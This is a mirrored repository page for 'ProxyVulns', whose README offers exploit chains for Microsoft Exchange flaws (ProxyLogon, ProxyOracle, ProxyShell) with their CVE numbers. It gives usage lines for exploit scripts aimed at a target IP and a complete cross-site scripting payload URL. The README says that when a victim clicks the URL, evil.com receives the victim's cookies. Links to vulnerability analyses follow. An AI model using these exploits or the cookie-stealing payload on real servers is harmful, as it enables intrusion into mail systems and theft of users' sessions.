# ProxyVulns

**Repository Path**: mirrors_gladiopeace/ProxyVulns

## Basic Information

- **Project Name**: ProxyVulns
- **Description**: [ProxyLogon] CVE-2021-26855 & CVE-2021-27065 Fixed RawIdentity Bug Exploit. [ProxyOracle] CVE-2021-31195 & CVE-2021-31196 Exploit Chains. [ProxyShell] CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 Exploit Chains.
- **Primary Language**: Unknown
- **License**: Not specified
- **Default Branch**: main
- **Homepage**: None
- **GVP Project**: No

## Statistics

- **Stars**: 0
- **Forks**: 0
- **Created**: 2022-01-18
- **Last Updated**: 2026-05-30

## Categories & Tags

**Categories**: Uncategorized

**Tags**: None

## README

# ProxyVulns

### ProxyLogon

`Usage: python3 26855.py 1.1.1.1`

![](img/26855.png)

### ProxyOracle

``` url
Once a victim clicks this link, evil.com will receive the cookies.

https://ews.lab/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.cookie=`X-AnonResource-Backend=@evil.com:443/path/any.php%23~1941962753`;document.cookie=`X-AnonResource=true`;fetch(`/owa/auth/any.skin`,{credentials:`include`});//
```

``` bash
pip3 install pycryptodome

Usage: python3 31196.py 1.1.1.1 'cdata=xxx; cadataTTL=yyy; ...'
```

![](img/31196.png)

### ProxyShell

``` bash
pip3 install pypsrp

Usage: python3 34473.py 1.1.1.1

Usage: python3 31207.py 1.1.1.1 [Local File Path] [UNC Absolute Path]
```

![](img/34473.png)

![](img/31207.png)

> Not working in some versions target(due to `/@gmail.com` path), maybe fix it later

### Others

- `Cookie: securitytoken=foobar`

- `/owa/calendar/foobar@exchange.local/foobar/owa14.aspx/.js`

## Reference

[ProxyLogon Vulnerability Analysis(Chinese)](https://hosch3n.github.io/2021/08/22/ProxyLogon%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)

https://docs.microsoft.com/en-us/exchange/architecture/mailbox-servers/recreate-arbitration-mailboxes?view=exchserver-2019

[ProxyOracle Vulnerability Analysis(Chinese)](https://hosch3n.github.io/2021/08/23/ProxyOracle%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)

https://github.com/mwielgoszewski/python-paddingoracle

[ProxyShell Vulnerability Analysis(Chinese)](https://hosch3n.github.io/2021/08/24/ProxyShell%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)